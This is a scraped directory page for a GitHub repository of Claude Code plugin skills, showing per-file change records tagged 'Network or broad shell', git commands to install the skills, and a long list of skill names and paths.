harness/claude-code/plugins/doublecheck/skills/doublecheck/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/ember/skills/daily-focus-board/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/ember/skills/from-the-other-side-anitta/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/ember/skills/from-the-other-side-quinn/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/ember/skills/from-the-other-side-vega/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/ember/skills/from-the-other-side-wiggins/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/eyeball/skills/eyeball/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/activator-cli/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/databricks-migration/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/deployment-pipelines-authoring-cli/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/e2e-fabric-cost-estimation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/e2e-medallion-architecture/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventhouse-cli/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventschemaset-cli/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventstream-cli/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
Verified commit 1672ec1d9bb3181ab61cb96002688c6a3624fc48
git clone --filter=blob:none --no-checkout https://github.com/gbb-acelerators/awesome-harness-primitives.git .hotskills/gbb-acelerators-awesome-harness-primitives && git -C .hotskills/gbb-acelerators-awesome-harness-primitives checkout --detach 1672ec1d9bb3181ab61cb96002688c6a3624fc48
# Copy each selected skill directory from .hotskills/gbb-acelerators-awesome-harness-primitives into .claude/skills/<skill-name>/git clone --filter=blob:none --no-checkout https://github.com/gbb-acelerators/awesome-harness-primitives.git .hotskills/gbb-acelerators-awesome-harness-primitives && git -C .hotskills/gbb-acelerators-awesome-harness-primitives checkout --detach 1672ec1d9bb3181ab61cb96002688c6a3624fc48
# Copy each selected skill directory from .hotskills/gbb-acelerators-awesome-harness-primitives into .agents/skills/<skill-name>/git clone --filter=blob:none --no-checkout https://github.com/gbb-acelerators/awesome-harness-primitives.git .hotskills/gbb-acelerators-awesome-harness-primitives && git -C .hotskills/gbb-acelerators-awesome-harness-primitives checkout --detach 1672ec1d9bb3181ab61cb96002688c6a3624fc48
# Copy each selected skill directory from .hotskills/gbb-acelerators-awesome-harness-primitives into .github/skills/<skill-name>/Heat
0.3- Star growth, last 7 daysNot available
- Star growth, last 24 hoursNot available
- Rank movement, last 7 daysNot available
- Commits, last 30 daysNot available
- Accounts asking about it through MCP, last 7 daysNot available
- Hot votes this weekNot available
Heat never changes the order by stars, and sponsorship never touches it. How heat works
Stars over time
30-day change not yet available: not enough history.
Individual skills in this repository
- ears-validate
docs/references/ears-validate - iac-review
docs/references/iac-review - postgresql-code-review
docs/references/postgresql-code-review - skill-creator
docs/templates/skill-creator - acreadiness-assess
harness/claude-code/plugins/acreadiness-cockpit/skills/acreadiness-assess - acreadiness-generate-instructions
harness/claude-code/plugins/acreadiness-cockpit/skills/acreadiness-generate-instructions - acreadiness-policy
harness/claude-code/plugins/acreadiness-cockpit/skills/acreadiness-policy - agent-governance
harness/claude-code/plugins/agent-governance/skills/agent-governance - agent-owasp-compliance
harness/claude-code/plugins/agent-governance/skills/agent-owasp-compliance - agent-supply-chain
harness/claude-code/plugins/agent-governance/skills/agent-supply-chain - audit-integrity
harness/claude-code/plugins/agent-governance/skills/audit-integrity - ai-team-orchestration
harness/claude-code/plugins/ai-team-orchestration/skills/ai-team-orchestration - codeql
harness/claude-code/plugins/application-security/skills/codeql - data-breach-blast-radius
harness/claude-code/plugins/application-security/skills/data-breach-blast-radius - gdpr-compliant
harness/claude-code/plugins/application-security/skills/gdpr-compliant - secret-scanning
harness/claude-code/plugins/application-security/skills/secret-scanning - security-review
harness/claude-code/plugins/application-security/skills/security-review - threat-model-analyst
harness/claude-code/plugins/application-security/skills/threat-model-analyst - tm7-threat-model
harness/claude-code/plugins/application-security/skills/tm7-threat-model - doc-and-modernize
harness/claude-code/plugins/arch/skills/doc-and-modernize - arize-ai-provider-integration
harness/claude-code/plugins/arize-ax/skills/arize-ai-provider-integration - arize-annotation
harness/claude-code/plugins/arize-ax/skills/arize-annotation - arize-dataset
harness/claude-code/plugins/arize-ax/skills/arize-dataset - arize-evaluator
harness/claude-code/plugins/arize-ax/skills/arize-evaluator - arize-experiment
harness/claude-code/plugins/arize-ax/skills/arize-experiment - arize-instrumentation
harness/claude-code/plugins/arize-ax/skills/arize-instrumentation - arize-link
harness/claude-code/plugins/arize-ax/skills/arize-link - arize-prompt-optimization
harness/claude-code/plugins/arize-ax/skills/arize-prompt-optimization - arize-trace
harness/claude-code/plugins/arize-ax/skills/arize-trace - automate-this
harness/claude-code/plugins/automate-this/skills/automate-this - suggest-awesome-github-copilot-agents
harness/claude-code/plugins/awesome-copilot/skills/suggest-awesome-github-copilot-agents - suggest-awesome-github-copilot-instructions
harness/claude-code/plugins/awesome-copilot/skills/suggest-awesome-github-copilot-instructions - suggest-awesome-github-copilot-skills
harness/claude-code/plugins/awesome-copilot/skills/suggest-awesome-github-copilot-skills - aws-cost-optimize
harness/claude-code/plugins/aws-cloud-development/skills/aws-cost-optimize - aws-resource-health-diagnose
harness/claude-code/plugins/aws-cloud-development/skills/aws-resource-health-diagnose - aws-resource-query
harness/claude-code/plugins/aws-cloud-development/skills/aws-resource-query - aws-well-architected-review
harness/claude-code/plugins/aws-cloud-development/skills/aws-well-architected-review - agentic-eval
harness/claude-code/plugins/azure-ai-foundry/skills/agentic-eval - apim-ai-gateway
harness/claude-code/plugins/azure-ai-foundry/skills/apim-ai-gateway - azure-agentic-architecture-patterns
harness/claude-code/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns - azure-ai
harness/claude-code/plugins/azure-ai-foundry/skills/azure-ai - azure-api-center
harness/claude-code/plugins/azure-ai-foundry/skills/azure-api-center - azure-managed-redis-cache
harness/claude-code/plugins/azure-ai-foundry/skills/azure-managed-redis-cache - entra-agent-user
harness/claude-code/plugins/azure-ai-foundry/skills/entra-agent-user - foundry-agent-sync
harness/claude-code/plugins/azure-ai-foundry/skills/foundry-agent-sync - foundry-hosted-agent-copilotkit
harness/claude-code/plugins/azure-ai-foundry/skills/foundry-hosted-agent-copilotkit - microsoft-agent-framework
harness/claude-code/plugins/azure-ai-foundry/skills/microsoft-agent-framework - semantic-kernel
harness/claude-code/plugins/azure-ai-foundry/skills/semantic-kernel - azure-app-onboard
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard - azure-app-onboard-prereq
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard-prereq - azure-deploy
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy - azure-prepare
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare - azure-scaffold-wizard
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-scaffold-wizard - azure-validate
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate - az-cost-optimize
harness/claude-code/plugins/azure-cloud-development/skills/az-cost-optimize - azure-cli
harness/claude-code/plugins/azure-cloud-development/skills/azure-cli - azure-compute
harness/claude-code/plugins/azure-cloud-development/skills/azure-compute - azure-enterprise-infra-planner
harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner - azure-infrastructure
harness/claude-code/plugins/azure-cloud-development/skills/azure-infrastructure - azure-pricing
harness/claude-code/plugins/azure-cloud-development/skills/azure-pricing - azure-resource-health-diagnose
harness/claude-code/plugins/azure-cloud-development/skills/azure-resource-health-diagnose - azure-resource-lookup
harness/claude-code/plugins/azure-cloud-development/skills/azure-resource-lookup - azure-resource-visualizer
harness/claude-code/plugins/azure-cloud-development/skills/azure-resource-visualizer - azure-terraform-cli
harness/claude-code/plugins/azure-cloud-development/skills/azure-terraform-cli - azure-terraform-terratest-module-testing
harness/claude-code/plugins/azure-cloud-development/skills/azure-terraform-terratest-module-testing - import-infrastructure-as-code
harness/claude-code/plugins/azure-cloud-development/skills/import-infrastructure-as-code - azure-kusto
harness/claude-code/plugins/azure-data-development/skills/azure-kusto - azure-kusto-graph
harness/claude-code/plugins/azure-data-development/skills/azure-kusto-graph - azure-kusto-irql
harness/claude-code/plugins/azure-data-development/skills/azure-kusto-irql - azure-kusto-irql-graph
harness/claude-code/plugins/azure-data-development/skills/azure-kusto-irql-graph - azure-messaging
harness/claude-code/plugins/azure-data-development/skills/azure-messaging - azure-postgre-database-management
harness/claude-code/plugins/azure-data-development/skills/azure-postgre-database-management - azure-storage
harness/claude-code/plugins/azure-data-development/skills/azure-storage - azure-architecture-autopilot
harness/claude-code/plugins/azure-developer-tooling/skills/azure-architecture-autopilot - azure-container-registry-cli
harness/claude-code/plugins/azure-developer-tooling/skills/azure-container-registry-cli - azure-deployment-preflight
harness/claude-code/plugins/azure-developer-tooling/skills/azure-deployment-preflight - azure-developer-cli
harness/claude-code/plugins/azure-developer-tooling/skills/azure-developer-cli - azure-devops-cli
harness/claude-code/plugins/azure-developer-tooling/skills/azure-devops-cli - azure-static-web-apps
harness/claude-code/plugins/azure-developer-tooling/skills/azure-static-web-apps - cloud-design-patterns
harness/claude-code/plugins/azure-developer-tooling/skills/cloud-design-patterns - cosmosdb-datamodeling
harness/claude-code/plugins/azure-developer-tooling/skills/cosmosdb-datamodeling - update-avm-modules-in-bicep
harness/claude-code/plugins/azure-developer-tooling/skills/update-avm-modules-in-bicep - azure-compliance
harness/claude-code/plugins/azure-governance/skills/azure-compliance - azure-entra-agent-id
harness/claude-code/plugins/azure-governance/skills/azure-entra-agent-id - azure-entra-app-registration
harness/claude-code/plugins/azure-governance/skills/azure-entra-app-registration - azure-quotas
harness/claude-code/plugins/azure-governance/skills/azure-quotas - azure-role-selector
harness/claude-code/plugins/azure-governance/skills/azure-role-selector - azure-well-architected-review
harness/claude-code/plugins/azure-governance/skills/azure-well-architected-review - azure-airunway-aks-setup
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-airunway-aks-setup - azure-argocd-cli
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-argocd-cli - azure-helm-cli
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-helm-cli - azure-kubectl-cli
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubectl-cli - azure-kubernetes
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes - azure-kubernetes-app-deploy
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy - azure-kubernetes-automatic-readiness
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-automatic-readiness - azure-cloud-migrate
harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate - azure-upgrade
harness/claude-code/plugins/azure-modernization/skills/azure-upgrade - appinsights-instrumentation
harness/claude-code/plugins/azure-observability-operations/skills/appinsights-instrumentation - azure-cost
harness/claude-code/plugins/azure-observability-operations/skills/azure-cost - azure-diagnostics
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics - azure-observability-stack
harness/claude-code/plugins/azure-observability-operations/skills/azure-observability-stack - azure-reliability
harness/claude-code/plugins/azure-observability-operations/skills/azure-reliability - app-frontend-system-migration
harness/claude-code/plugins/backstage-expert/copilot-components/skills/app-frontend-system-migration - app-frontend-system-migration
harness/claude-code/plugins/backstage-expert/copilot-components/skills/app-frontend-system-migration/references/upstream - backstage-ai-catalog
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-ai-catalog - backstage-app-bootstrap
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-app-bootstrap - backstage-app-configuration
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-app-configuration - backstage-authentication
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-authentication - backstage-catalog
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-catalog - backstage-catalog-db-performance
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-catalog-db-performance - backstage-core-contribution
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-core-contribution - backstage-external-integrations
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-external-integrations - backstage-framework
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-framework - backstage-kubernetes
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-kubernetes - backstage-mcp-actions
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-mcp-actions - backstage-notifications
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-notifications - backstage-operations
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-operations - backstage-permissions
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-permissions - backstage-plugin-builder
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-plugin-builder - backstage-search
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-search - backstage-software-templates
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-software-templates - backstage-techdocs
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-techdocs - backstage-upgrade
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-upgrade - backstage-workspace-kit
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-workspace-kit - mui-to-bui-migration
harness/claude-code/plugins/backstage-expert/copilot-components/skills/mui-to-bui-migration - mui-to-bui-migration
harness/claude-code/plugins/backstage-expert/copilot-components/skills/mui-to-bui-migration/references/upstream - onboard-to-openapi-server
harness/claude-code/plugins/backstage-expert/copilot-components/skills/onboard-to-openapi-server - onboard-to-openapi-server
harness/claude-code/plugins/backstage-expert/copilot-components/skills/onboard-to-openapi-server/references/upstream - plugin-analytics-instrumentation
harness/claude-code/plugins/backstage-expert/copilot-components/skills/plugin-analytics-instrumentation - plugin-analytics-instrumentation
harness/claude-code/plugins/backstage-expert/copilot-components/skills/plugin-analytics-instrumentation/references/upstream - plugin-full-frontend-system-migration
harness/claude-code/plugins/backstage-expert/copilot-components/skills/plugin-full-frontend-system-migration - plugin-full-frontend-system-migration
harness/claude-code/plugins/backstage-expert/copilot-components/skills/plugin-full-frontend-system-migration/references/upstream - plugin-new-frontend-system-support
harness/claude-code/plugins/backstage-expert/copilot-components/skills/plugin-new-frontend-system-support - plugin-new-frontend-system-support
harness/claude-code/plugins/backstage-expert/copilot-components/skills/plugin-new-frontend-system-support/references/upstream - app-frontend-system-migration
harness/claude-code/plugins/backstage-expert/skills/app-frontend-system-migration - app-frontend-system-migration
harness/claude-code/plugins/backstage-expert/skills/app-frontend-system-migration/references/upstream - backstage-ai
harness/claude-code/plugins/backstage-expert/skills/backstage-ai - backstage-ai-catalog
harness/claude-code/plugins/backstage-expert/skills/backstage-ai-catalog - backstage-app
harness/claude-code/plugins/backstage-expert/skills/backstage-app - backstage-app-bootstrap
harness/claude-code/plugins/backstage-expert/skills/backstage-app-bootstrap - backstage-app-configuration
harness/claude-code/plugins/backstage-expert/skills/backstage-app-configuration - backstage-auth
harness/claude-code/plugins/backstage-expert/skills/backstage-auth - backstage-authentication
harness/claude-code/plugins/backstage-expert/skills/backstage-authentication - backstage-catalog
harness/claude-code/plugins/backstage-expert/skills/backstage-catalog - backstage-catalog-db-performance
harness/claude-code/plugins/backstage-expert/skills/backstage-catalog-db-performance - backstage-core-contribution
harness/claude-code/plugins/backstage-expert/skills/backstage-core-contribution - backstage-external-integrations
harness/claude-code/plugins/backstage-expert/skills/backstage-external-integrations - backstage-framework
harness/claude-code/plugins/backstage-expert/skills/backstage-framework - backstage-integrations
harness/claude-code/plugins/backstage-expert/skills/backstage-integrations - backstage-kubernetes
harness/claude-code/plugins/backstage-expert/skills/backstage-kubernetes - backstage-mcp-actions
harness/claude-code/plugins/backstage-expert/skills/backstage-mcp-actions - backstage-notifications
harness/claude-code/plugins/backstage-expert/skills/backstage-notifications - backstage-operations
harness/claude-code/plugins/backstage-expert/skills/backstage-operations - backstage-permissions
harness/claude-code/plugins/backstage-expert/skills/backstage-permissions - backstage-plugin-builder
harness/claude-code/plugins/backstage-expert/skills/backstage-plugin-builder - backstage-plugins
harness/claude-code/plugins/backstage-expert/skills/backstage-plugins - backstage-search
harness/claude-code/plugins/backstage-expert/skills/backstage-search - backstage-software-templates
harness/claude-code/plugins/backstage-expert/skills/backstage-software-templates - backstage-techdocs
harness/claude-code/plugins/backstage-expert/skills/backstage-techdocs - backstage-upgrade
harness/claude-code/plugins/backstage-expert/skills/backstage-upgrade - backstage-workspace-kit
harness/claude-code/plugins/backstage-expert/skills/backstage-workspace-kit - mui-to-bui-migration
harness/claude-code/plugins/backstage-expert/skills/mui-to-bui-migration - mui-to-bui-migration
harness/claude-code/plugins/backstage-expert/skills/mui-to-bui-migration/references/upstream - onboard-to-openapi-server
harness/claude-code/plugins/backstage-expert/skills/onboard-to-openapi-server - onboard-to-openapi-server
harness/claude-code/plugins/backstage-expert/skills/onboard-to-openapi-server/references/upstream - plugin-analytics-instrumentation
harness/claude-code/plugins/backstage-expert/skills/plugin-analytics-instrumentation - plugin-analytics-instrumentation
harness/claude-code/plugins/backstage-expert/skills/plugin-analytics-instrumentation/references/upstream - plugin-full-frontend-system-migration
harness/claude-code/plugins/backstage-expert/skills/plugin-full-frontend-system-migration - plugin-full-frontend-system-migration
harness/claude-code/plugins/backstage-expert/skills/plugin-full-frontend-system-migration/references/upstream - plugin-new-frontend-system-support
harness/claude-code/plugins/backstage-expert/skills/plugin-new-frontend-system-support - plugin-new-frontend-system-support
harness/claude-code/plugins/backstage-expert/skills/plugin-new-frontend-system-support/references/upstream - brag-sheet
harness/claude-code/plugins/career-productivity/skills/brag-sheet - daily-prep
harness/claude-code/plugins/career-productivity/skills/daily-prep - email-drafter
harness/claude-code/plugins/career-productivity/skills/email-drafter - exam-ready
harness/claude-code/plugins/career-productivity/skills/exam-ready - linkedin-post-formatter
harness/claude-code/plugins/career-productivity/skills/linkedin-post-formatter - meeting-minutes
harness/claude-code/plugins/career-productivity/skills/meeting-minutes - performance-review-writer
harness/claude-code/plugins/career-productivity/skills/performance-review-writer - technical-job-search
harness/claude-code/plugins/career-productivity/skills/technical-job-search - remember-interactive-programming
harness/claude-code/plugins/clojure-interactive-programming/skills/remember-interactive-programming - content-management-systems
harness/claude-code/plugins/cms-development/skills/content-management-systems - markdown-to-html
harness/claude-code/plugins/cms-development/skills/markdown-to-html - quasi-coder
harness/claude-code/plugins/cms-development/skills/quasi-coder - dotnet-design-pattern-review
harness/claude-code/plugins/code-quality-refactoring/skills/dotnet-design-pattern-review - editorconfig
harness/claude-code/plugins/code-quality-refactoring/skills/editorconfig - em-dash
harness/claude-code/plugins/code-quality-refactoring/skills/em-dash - quality-playbook
harness/claude-code/plugins/code-quality-refactoring/skills/quality-playbook - refactor
harness/claude-code/plugins/code-quality-refactoring/skills/refactor - refactor-method-complexity-reduce
harness/claude-code/plugins/code-quality-refactoring/skills/refactor-method-complexity-reduce - review-and-refactor
harness/claude-code/plugins/code-quality-refactoring/skills/review-and-refactor - ruff-recursive-fix
harness/claude-code/plugins/code-quality-refactoring/skills/ruff-recursive-fix - tiny-stepping
harness/claude-code/plugins/code-quality-refactoring/skills/tiny-stepping - acquire-codebase-knowledge
harness/claude-code/plugins/codebase-blueprints/skills/acquire-codebase-knowledge - architecture-blueprint-generator
harness/claude-code/plugins/codebase-blueprints/skills/architecture-blueprint-generator - code-exemplars-blueprint-generator
harness/claude-code/plugins/codebase-blueprints/skills/code-exemplars-blueprint-generator - copilot-instructions-blueprint-generator
harness/claude-code/plugins/codebase-blueprints/skills/copilot-instructions-blueprint-generator - folder-structure-blueprint-generator
harness/claude-code/plugins/codebase-blueprints/skills/folder-structure-blueprint-generator - project-workflow-analysis-blueprint-generator
harness/claude-code/plugins/codebase-blueprints/skills/project-workflow-analysis-blueprint-generator - readme-blueprint-generator
harness/claude-code/plugins/codebase-blueprints/skills/readme-blueprint-generator - repo-story-time
harness/claude-code/plugins/codebase-blueprints/skills/repo-story-time - technology-stack-blueprint-generator
harness/claude-code/plugins/codebase-blueprints/skills/technology-stack-blueprint-generator - context-map
harness/claude-code/plugins/context-engineering/skills/context-map - refactor-plan
harness/claude-code/plugins/context-engineering/skills/refactor-plan - what-context-needed
harness/claude-code/plugins/context-engineering/skills/what-context-needed - integrate-context-matic
harness/claude-code/plugins/context-matic/skills/integrate-context-matic - onboard-context-matic
harness/claude-code/plugins/context-matic/skills/onboard-context-matic - convert-excel-to-md
harness/claude-code/plugins/convert-to-md/skills/convert-excel-to-md - convert-pdf-to-md
harness/claude-code/plugins/convert-to-md/skills/convert-pdf-to-md - convert-word-to-md
harness/claude-code/plugins/convert-to-md/skills/convert-word-to-md - agent-skill-stack
harness/claude-code/plugins/copilot-customization-authoring/skills/agent-skill-stack - ai-ready
harness/claude-code/plugins/copilot-customization-authoring/skills/ai-ready - boost-prompt
harness/claude-code/plugins/copilot-customization-authoring/skills/boost-prompt - cli-mastery
harness/claude-code/plugins/copilot-customization-authoring/skills/cli-mastery - copilot-cli-quickstart
harness/claude-code/plugins/copilot-customization-authoring/skills/copilot-cli-quickstart - copilot-primitive-authoring
harness/claude-code/plugins/copilot-customization-authoring/skills/copilot-primitive-authoring - copilot-spaces
harness/claude-code/plugins/copilot-customization-authoring/skills/copilot-spaces - copilot-usage-metrics
harness/claude-code/plugins/copilot-customization-authoring/skills/copilot-usage-metrics - finalize-agent-prompt
harness/claude-code/plugins/copilot-customization-authoring/skills/finalize-agent-prompt - generate-custom-instructions-from-codebase
harness/claude-code/plugins/copilot-customization-authoring/skills/generate-custom-instructions-from-codebase - github-copilot-starter
harness/claude-code/plugins/copilot-customization-authoring/skills/github-copilot-starter - harness-engineering
harness/claude-code/plugins/copilot-customization-authoring/skills/harness-engineering - lsp-setup
harness/claude-code/plugins/copilot-customization-authoring/skills/lsp-setup - memory-merger
harness/claude-code/plugins/copilot-customization-authoring/skills/memory-merger - microsoft-skill-creator
harness/claude-code/plugins/copilot-customization-authoring/skills/microsoft-skill-creator - mini-context-graph
harness/claude-code/plugins/copilot-customization-authoring/skills/mini-context-graph - prompt-optimizer
harness/claude-code/plugins/copilot-customization-authoring/skills/prompt-optimizer - remember
harness/claude-code/plugins/copilot-customization-authoring/skills/remember - skill-creator
harness/claude-code/plugins/copilot-customization-authoring/skills/skill-creator - steno-mode
harness/claude-code/plugins/copilot-customization-authoring/skills/steno-mode - vardoger-analyze
harness/claude-code/plugins/copilot-customization-authoring/skills/vardoger-analyze - copilot-plugin-authoring
